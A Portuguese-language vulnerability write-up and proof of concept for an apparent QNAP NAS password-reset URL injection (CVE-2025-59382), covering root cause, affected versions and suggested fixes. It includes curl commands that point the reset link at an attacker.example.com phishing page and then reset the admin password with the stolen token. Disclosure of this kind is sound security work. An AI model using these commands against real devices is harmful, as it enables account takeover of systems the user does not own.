
Prova de conceito e artigo técnico para CVE-2025-59382, uma injeção de URL de redefinição de senha não autenticada no QNAP NAS que possibilita uma cadeia de phishing para tomada de conta.
URL de redefinição de senha controlada por atacante não autenticado em /cgi-bin/reset_password.cgi.
Testado contra QuTScloud c5.2.4.3041 build 20250211 em laboratório. QNAP posteriormente publicou isso como CVE-2025-59382 no aviso QSA-26-10.
Um atacante não autenticado com acesso à rede local, ou acesso a uma interface de gestão NAS exposta, pode injetar uma URL arbitrária no e-mail oficial de redefinição de senha do QNAP ao manipular o parâmetro url da função send_mail em /cgi-bin/reset_password.cgi.
A vítima recebe um e-mail real de redefinição de senha do QNAP vindo do NAS. A URL do atacante é incorporada diretamente no corpo HTML do e-mail, e o QNAP anexa o token de redefinição () a essa URL.
rpIsto transforma o e-mail de redefinição de senha numa cadeia limpa de phishing para assunção de conta:
rpvc) na página de phishingRequer interação da vítima, mas nenhuma autenticação do atacante.
curl "http://<NAS_IP>:8080/cgi-bin/reset_password.cgi?func=send_mail&user=admin&url=https://attacker.example.com/phish"
O NAS envia o e-mail oficial de redefinição e anexa o token de redefinição à URL do atacante, por exemplo:
https://attacker.example.com/phish&u=admin&rp=e15a88a01fa81e58352b4b157607cb44
O código de verificação também é mostrado no mesmo e-mail. Na evidência de laboratório, parecia assim:
Your verification code is: 2FEA2B8B
Então a página de phishing só precisa pedir à vítima o código de verificação. O token rp já cai no servidor do atacante quando o link é clicado.
Assim que o atacante tiver o token rp e o código de verificação vc associado, ele pode redefinir a senha de administrador:
curl -X POST -d "func=reset_user_pw&user=admin&token=e15a88a01fa81e58352b4b157607cb44&vc=725E0F00&new_pw=UHduZWQyMDI2IQ==" \
"http://<NAS_IP>:8080/cgi-bin/reset_password.cgi"
A chamada de redefinição final tem de ser um POST. O código de verificação que a vítima insere na página falsa é enviado ao QNAP como vc=<code>.
A nova senha é codificada em base64 em new_pw. No PoC, isso foi suficiente para alterar a senha de administrador e depois fazer login como administrador.
O fluxo normal do frontend constrói uma URL local do NAS como:
location.protocol + "//" + location.host + "/cgi-bin/main.html?cp=1"
Mas o backend confia no parâmetro url fornecido pelo cliente, em vez de gerar a própria URL de redefinição. Em seguida, constrói o link do e-mail usando esse valor e anexa:
&u=<user>&rp=<reset_token>
Ele simplesmente confia em qualquer coisa que seja passada como url.
O e-mail confiável do NAS está fazendo a entrega.
CVE-2025-59382QSA-26-102026-06-17CWE-4725.1 MédioO QNAP lista os produtos afetados como:
5.2.7h5.2.8c5.2.82.7.1Versões corrigidas listadas pelo QNAP:
5.2.9.3499h5.2.9C5.2.92.8.0O QNAP descreveu o problema como um atacante remoto modificando a URL de redefinição de senha e enganando uma vítima para visitar uma página de redefinição controlada pelo atacante, levando ao roubo de credenciais.
Meu próprio alvo de laboratório foi QuTScloud c5.2.4.3041 build 20250211. O impacto no meu laboratório foi redefinição de senha de administrador e login como admin após interação da vítima.
Pequena nota: reproduzi isso no meu laboratório em 2026-05-09 e enviei ao QNAP em 2026-05-11; eles marcaram como duplicado de INTSI000-9029. Como o QNAP publicou o CVE/aviso, estou publicando o PoC. Créditos a Tim Coen como o primeiro a encontrar.
Não sei o patch exato usado pelo QNAP. O aviso deles lista apenas versões corrigidas.
Meu palpite para a correção correta é simples: não deixar o navegador dizer ao NAS para onde o link de redefinição deve apontar.
O NAS deve construir esse link sozinho. Se o QNAP ainda precisar de um parâmetro url para o fluxo, ele deve aceitar apenas a página de redefinição normal do NAS e rejeitar qualquer coisa externa.
Eu também codificaria qualquer coisa que seja inserida no corpo do e-mail, e colocaria alguma limitação de taxa em torno de solicitações de e-mail de redefinição não autenticadas.
Aviso: Este código de exploração é publicado para fins educacionais e de pesquisa defensiva. Não o utilize contra sistemas que você não possua ou para os quais não tenha autorização explícita para testar. O autor não é responsável pelo uso indevido.